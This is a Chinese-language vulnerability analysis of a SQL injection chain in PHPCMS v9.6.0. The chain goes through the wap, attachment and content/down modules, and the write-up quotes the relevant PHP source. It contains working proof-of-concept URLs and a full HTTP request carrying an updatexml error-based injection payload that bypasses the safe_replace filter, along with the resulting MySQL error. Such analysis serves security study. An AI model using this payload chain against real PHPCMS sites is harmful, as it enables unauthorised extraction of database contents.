# PHPCMS v9.6.0 wap模塊SQL注入分析. ###### tags: `phpcms` # 重點 part1 phpcms/modules/wap/index.php __construct函數 ```php= function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap'); $this->types = getcache('wap_type','wap'); $this->wap = $this->wap_site[$this->siteid]; define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); if($this->wap['status']!=1) exit(L('wap_close_status')); } ``` 關鍵: ``` $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); ``` 進入 set_cookie 函數 phpcms/libs/classes/param.class.php ```php= public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; //最終設定cookie if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } ``` 關鍵: setcookie 之前調用了 sys_auth($value, 'ENCODE') 進入sys_auth() phpcms/libs/functions/global.func.php ```php= /** * 字符串加密、解密函数 * * * @param string $txt 字符串 * @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE, * @param string $key 密钥:数字、字母、下划线 * @param string $expiry 过期时间 * @return string */ function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key')); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '='); } } ``` 總而言之就是加解密的函數 以上是讓你過一便,相關函數。 總節以上的流程重點 phpcms/modules/wap/index.php wap 模塊下的 get 參數 ``` $_GET['siteid'] ``` 最後會被加密然後設定cookie 保存在我們的browser poc part1 : ``` http://localhost/index.php?m=wap&c=index&a=init&siteid=1 ``` 我這邊拿到cookie是: (xxxx_siteid, xxxx好像每個人環境不同會不一樣,我沒詳細測試) ``` GAico_siteid: a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P ``` --- # 重點 part2 phpcms/modules/attachment/attachments.php 函數: __construct() 關鍵: ``` $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); ``` ```php= class attachments { private $att_db; function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; //判断是否登录 if(empty($this->userid)){ showmessage(L('please_login','','member')); } } ``` phpcms/modules/attachment/attachments.php 函數: swfupload_json() 關鍵: 有get參數,並且轉成 json 格式,然後 set_cookie 會被加密 ```php= /** * 设置swfupload上传的json格式cookie */ public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } } ``` 我們來看看 poc part2: 可以更容易理解上面的過程 ``` http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1 ``` poc url 解碼後: ``` http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1%*27%*20and%*20updatexml(1,concat(0x7e,(select%*20mid((SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1 ``` 常玩 ctf的朋友 看到熟悉的 updatexml 就知道 大概是sql 報錯注入了 ``` %*27%*20and%*20updatexml(1,concat(0x7e,(select%*20mid((SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1 ``` 不過這邊POC 觸發需要使用 post 方式 不是get : BP 改包 加上: Content-Type: application/x-www-form-urlencoded userid_flash=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P ``` POST /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: XDEBUG_SESSION=sublime.xdebug; GAico_siteid=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P; PHPSESSID=22cd6f63eec4ed0d51b2b04481989a56 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 userid_flash=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P ``` response: ``` HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 13:47:45 GMT Server: Apache/2.2.31 (Win32) DAV/2 mod_ssl/2.2.31 OpenSSL/1.0.2h mod_fcgid/2.3.9 mod_wsgi/3.4 Python/2.7.6 PHP/7.4.1 mod_perl/2.0.8 Perl/v5.16.3 X-Powered-By: PHP/7.4.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: GAico_att_json=4010fgb4Dgful0CNyyvdQhw_qF32VoRGpp09CvVkedCUrU-Nv7jiErsxyJBT1HRuWKEw7t4MEhuNi3cGms_g4VqS2TWFtxm28A4xotPItq8wJ60KzbRN6GtrcOz91HkVGV8mwwtWqdHRYO5uziEKiS2M9f7V8b-sqfeqxV27GYC6vTq6KlruqazqsnBmKCIxVnEqXIlpQPXCzhnTs4v6PKBxf8N4dts_A4wGVEpaWcYBHzPFq8Y7vJXkcKuOes4pNTKRP9YIyDP15hsKHfyqNMlrCVrAgT50Prqq0LGzaec Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8 ``` GAico_att_json的值 就是我們剛剛 丟進去的payload ``` GAico_att_json=4010fgb4Dgful0CNyyvdQhw_qF32VoRGpp09CvVkedCUrU-Nv7jiErsxyJBT1HRuWKEw7t4MEhuNi3cGms_g4VqS2TWFtxm28A4xotPItq8wJ60KzbRN6GtrcOz91HkVGV8mwwtWqdHRYO5uziEKiS2M9f7V8b-sqfeqxV27GYC6vTq6KlruqazqsnBmKCIxVnEqXIlpQPXCzhnTs4v6PKBxf8N4dts_A4wGVEpaWcYBHzPFq8Y7vJXkcKuOes4pNTKRP9YIyDP15hsKHfyqNMlrCVrAgT50Prqq0LGzaec ``` 我們再重新分析一下 POC 1. POST userid_flash=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P 是為了讓 __construct 函數的 $this->userid 有值,不然會跳出失敗 2. ``` http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1%*27%*20and%*20updatexml(1,concat(0x7e,(select%*20mid((SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1 ``` 作者看上了 attachment 模塊的 其中attachments類的 swfupload_json 函數 ``` http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json ``` swfupload_json 函數有接收這三個get參數,根據上面poc 來看, $_GET['src'] 被傳入了 sql 注入 ``` $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); ``` OK 總節一下 part2 我們最後的sql 注入 被轉為json然後加密 最後變成cookie ``` GAico_att_json=4010fgb4Dgful0CNyyvdQhw_qF32VoRGpp09CvVkedCUrU-Nv7jiErsxyJBT1HRuWKEw7t4MEhuNi3cGms_g4VqS2TWFtxm28A4xotPItq8wJ60KzbRN6GtrcOz91HkVGV8mwwtWqdHRYO5uziEKiS2M9f7V8b-sqfeqxV27GYC6vTq6KlruqazqsnBmKCIxVnEqXIlpQPXCzhnTs4v6PKBxf8N4dts_A4wGVEpaWcYBHzPFq8Y7vJXkcKuOes4pNTKRP9YIyDP15hsKHfyqNMlrCVrAgT50Prqq0LGzaec ``` --- # part3 phpcms/modules/content/down.php 關鍵在於: ``` $_GET['a_k'] parse_str($a_k); $rs = $this->db->get_one(array('id'=>$id)); ``` ``` public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; $rs = $this->db->get_one(array('id'=>$id)); ....... } ``` payload part3: content 模塊下的 down類 a_k = 剛剛被加密得數據 ``` http://localhost/index.php?m=content&c=down&a_k=208cD__IKObrjY92vyfvXEOAgS-75FtWtQePbrm7EIE7XITOLxKVLSfKjsZM_XXsvtRePcaH3nlOzVn8_GoPXENTuIEx9OgPUIpsfIKGpo6i3YjBej0pcf4vML1QzMGl-RqsVXeI0BHpmnYgt0hWgCVfsrgnu8Zq2sXpm5S526ftrF4EfSvm9rdKE7ryzqTsvOZZU6yPf-aE7HsLc9nvX5NIag8Ev8Y9RCVxsJ_5tCWyeThTT5RZ-8xxZbm6UMVs8w4gr1vmQ5fXFWDd2DOf1QbirEU_TSra8v2R4CeEirQ ``` a_k 剛好被解密 ``` {"aid":1,"src":"&id=1%27%20and%20updatexml(1,concat(0x7e,(select%20mid((SELECT%20username%20from%20&quot table_name &quot%20limit%200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1","filename":""} ``` ### php 危險函數 parse_str($a_k); 創造: ``` $f = "1" $id = "1' and updatexml(1,concat(0x7e,(select mid((SELECT username from " $m = "1" ``` id 被注入造成報錯: ``` $this->db->get_one(array('id'=>$id)); ``` ``` MySQL Query : SELECT * FROM `phpcmsv9`.`v9_news_data` WHERE `id` = '1' and updatexml(1,concat(0x7e,(select mid((SELECT username from ' LIMIT 1 MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1 MySQL Errno : 1064 Message : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1 ``` 完成,sql payload 還可以換承其他的這邊就不多放了。 # 總節一下 這題利用很複雜。 作者肯定是先找到 phpcms/modules/content/down.php 這兩個關鍵點 ``` parse_str($a_k); $rs = $this->db->get_one(array('id'=>$id)); ``` 如果要加已利用的情況下,往上發現有個解密 ``` sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); ``` 因此需要找到哪裡會加密 set_cookie函數就會加密。 <br/> phpcms/modules/wap/index.php 有 set_cookie 但 intval($_GET['siteid'] 被過濾了 <br/> 而phpcms/modules/attachment/attachments.php 有 set_cookie safe_replace 過濾但可以繞過,所以用這裡。 ``` $arr['src'] = safe_replace(trim($_GET['src'])); 跟進 safe_replace /////////////////////////////////////////////// function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','&quot;',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','&lt;',$string); $string = str_replace('>','&gt;',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; } ``` 所以最後被變成json 格式然後加密 加密後 再丟到 phpcms/modules/content/down.php 去解密,大至就是這樣。